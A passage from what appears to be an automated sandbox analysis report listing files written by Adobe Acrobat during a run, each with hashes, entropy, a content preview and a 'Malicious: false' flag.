SHA-256:	F72B6FCF35F3F3677DFA7DAE141066ABC489E6C5065772273380C46D0FCA17BD
SHA-512:	5ACA37784C08AC794FF603D4FC8A9C278AD3056CA7A06B2E03E17654F1A9A2AD124DC27077087645C76FC32E6355FBDD7A96EDB2920541C80162B4DA0B61F37A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133845055436","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124131},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.947377502166138
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvXhsBdOg2Hofcaq3QYiubInP7E4T3y:Y2sRdsKXydMHou3QYhbG7nby
MD5:	F30309F6783ED9F29D380132997EDC24
SHA1:	42ED1771369686CE96C0A32B8E4DCE2E8DC18573
SHA-256:	F72B6FCF35F3F3677DFA7DAE141066ABC489E6C5065772273380C46D0FCA17BD
SHA-512:	5ACA37784C08AC794FF603D4FC8A9C278AD3056CA7A06B2E03E17654F1A9A2AD124DC27077087645C76FC32E6355FBDD7A96EDB2920541C80162B4DA0B61F37A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133845055436","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124131},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.258773595060285
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7XCbPVG:etJCV4FiN/jTN/2r8Mta02fEhgO73goh
MD5:	5E129BF159775A62294109FD3243FFE3
SHA1:	93EBF983C3E80A147047F95E0334E49C13B93A90
SHA-256:	F0B9D360E702779F017464FC75E9CD5E97267CFE51A0A7494A19EFC946AF8089
SHA-512:	49E0640B9FF16AFBDDA9F4ECECB79E882F657F1D4758793B8B4AF5994DDE56D53938483B9C5DE347527B9DE9A547D62D8045CBB5EB5A88140BD5CC38180A2684
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.144590179793985
Encrypted:	false
SSDEEP:	6:iOCUZSQL+q2Pwkn2nKuAl9OmbzNMxIFUt4SZSG1ZmwlQLVkwOwkn2nKuAl9OmbzE:7XxyvYfHAa8jFUtxX/KR5JfHAa84J
MD5:	862A43B2C49889608FA53C1EA16026FB
SHA1:	DC65F7658FD4337FC9AC04154543CE052254D653
SHA-256:	628A7EA646117D0BDE6A6A9D4AA4E7C1C90CE94E2A3406DD13D8E9F4F173F715
SHA-512:	A35D10CC1D70B702A041B5E3D5DACC88374B8E31EA25C266999E4FD32112198684F6666529AF17D46F32B262F11748C7D2007C7DAA725874577FC79A219556AF
Malicious:	false
Preview:	2025/01/11-00:37:12.871 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:37:12.877 1d18 Recovering log #3.2025/01/11-00:37:12.881 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.144590179793985
Encrypted:	false
SSDEEP:	6:iOCUZSQL+q2Pwkn2nKuAl9OmbzNMxIFUt4SZSG1ZmwlQLVkwOwkn2nKuAl9OmbzE:7XxyvYfHAa8jFUtxX/KR5JfHAa84J
MD5:	862A43B2C49889608FA53C1EA16026FB
SHA1:	DC65F7658FD4337FC9AC04154543CE052254D653
SHA-256:	628A7EA646117D0BDE6A6A9D4AA4E7C1C90CE94E2A3406DD13D8E9F4F173F715
SHA-512:	A35D10CC1D70B702A041B5E3D5DACC88374B8E31EA25C266999E4FD32112198684F6666529AF17D46F32B262F11748C7D2007C7DAA725874577FC79A219556AF
Malicious:	false
Preview:	2025/01/11-00:37:12.871 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:37:12.877 1d18 Recovering log #3.2025/01/11-00:37:12.881 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444753509931816
Encrypted:	false
SSDEEP:	384:yezci5tmiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rps3OazzU89UTTgUL
MD5:	865FF82F72B375C88A31504DFF7869D1
SHA1:	6880D3641FDA53CBDE1AB18D5F303464A015F10F
SHA-256:	DACBF89B012A6DBEE45947F528EF7429FE5CE4ACEF73781B963E7B42FB402BB3
SHA-512:	EAC2DD22E0753033A098AA1A10A44D77A0A1FEBB6DFD1214C86EEFF5F5A0B922966723838D3CF274C71A27414FECF837D9ED962AA8688C5CE3F104EAB73E6A4A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7749158693154197
Encrypted:	false
SSDEEP:	48:7Mxp/E2ioyV1Tioy9oWoy1Cwoy1mgKOioy1noy1AYoy1Wioy1hioybioyc8oy1nr:7upjuVFQXKQ8vb9IVXEBodRBkt
MD5:	EA8264CCD315BE6C969AF3C02078929E
SHA1:	3E2006D2341BEC0A7F3ED58D3D085922EA1E5262
SHA-256:	16B814BC1A118B588BA44D87400B742A5CED0BF272179D0F7F2F9393F6DB9B44
SHA-512:	AFB5652BE05C23AE46450403DC1182BAC6E4EB30204D53A36EBBF7959D80DD21250F377ED9C3A2B682F863CCA123204F4A29F5F13D8B0C2BB7D18E5480CE6482
Malicious:	false
Preview:	.... .c.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.6922441003696997
Encrypted:	false
SSDEEP:	3:kkFklf/K3/tfllXlE/HT8kNljNNX8RolJuRdxLlGB9lQRYwpDdt:kKN/eT8M3NMa8RdWBwRd
MD5:	3CF8C9BFAC8047FD0474575C4038A7A2
SHA1:	940050DDC52F7A26A4E71BD334FF2D31EBB1318F
SHA-256:	BD4D1406C9EB9B009F8A5FDDE231A9D3AFADB74B8DF0264EACF7D127BD7FF912
SHA-512:	7DA4164CC3B2308DB0B12C9BE26E616161A23BD13954CFD710963060727C9A736127124668ED935BB34A7364D6CC6952BF8F8E1F2A43FB4283E74F6EEB4E353F
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W.....c..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3428

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3428

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.380015518435765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJM3g98kUwPeUkwRe9:YvXKXDo/EZc0vTYOGMbLUkee9
MD5:	756DE54A2310B6B83C5E9836B96DAF36
SHA1:	3A68AED6C048FD16536AFC008AF887E91735355A
SHA-256:	8E51B5EFCAECD4DC71CC0CA18B4B56BC9C646BEF14453C9FD280AF90181F8DC4
SHA-512:	2F7413A56F104FF33472FE2C0766467EAE46057CB14340115FC76A78CCC70BAFA83A1BAB294A91DEEF7C7E4C4EA9E2E5C2FE59CA4930EDAD09F63276F60070F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.333196050344852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJfBoTfXpnrPeUkwRe9:YvXKXDo/EZc0vTYOGWTfXcUkee9
MD5:	0AD2EF7949568CB9CFAA6325D283C0EA
SHA1:	4C51FFB9FA633F8D9F08911ADBFE959A78167466
SHA-256:	F99C3A818AB1431B3091471F2047AA13F3F68173040E72AB35D6B9C8B3450885
SHA-512:	EAEFBFEF7B42EDBA9F5F7CBC516F4350F2C1A4F3F5CE1DB2FCEABB9FEA75E85576540E6F1AE738395E5B5BEFC14BF276CEF4B88780FF13FE4ACC929B16CAF2FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311595369213283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJfBD2G6UpnrPeUkwRe9:YvXKXDo/EZc0vTYOGR22cUkee9
MD5:	F7AD565214B2C4F064C1E0A2A86D6323
SHA1:	0906F404A843B80BA826CE1066C8F565D2E077CE
SHA-256:	617CFC35F001928017ABE0C148A01E111E900D59973BD2F829DE2DD34D9C66C1
SHA-512:	26C6759AC8BD428C5115E417E67D42CAC1A29C2B1DDB167F0103DADE37474EBCB3A702795989F1B3C4F39160F7C68E97CA5439BD2D0C96BEFD993EB441A06A8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.367610309968418
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJfPmwrPeUkwRe9:YvXKXDo/EZc0vTYOGH56Ukee9
MD5:	E3C8C6C030CE681CD5C78D26767508BB
SHA1:	3D81BA78E877271882967F7018450ABAF8FE78BE
SHA-256:	B49C2B0DBEF688A58E1A67E7643702DDD5E8518B886ACB7618B2AF698D6E2FD7
SHA-512:	B43EB00741EB8319F07F2EB4DBDD665D6302A07ACCA5AD6216255B889CF778DB5D54C47898B70678971CCF5A1150718986276085DDE4ED1AFB1C305B7EECA9FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69396268850604
Encrypted:	false
SSDEEP:	24:Yv6X0czv07pLgE9cQx8LennAvzBvkn0RCmK8czOCCSE:YvGghgy6SAFv5Ah8cv/E
MD5:	8C489A6C16A4D6AE5194EC02C5EA6365
SHA1:	30CDA5F18C5A8EC668132D34EF764E557BC6D5B2
SHA-256:	10304F5512B5EE869C185A41F1DD5EB6E0A8E9B389DBCDD69813ABF933A2437F
SHA-512:	1B57B21C9AF465909A820392A1544550037B281344DEAEEEC84340F9F28AB72880691CE736D6574C12A80ED038487FACFFF6712A1531820A1BBDC72794791AB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for 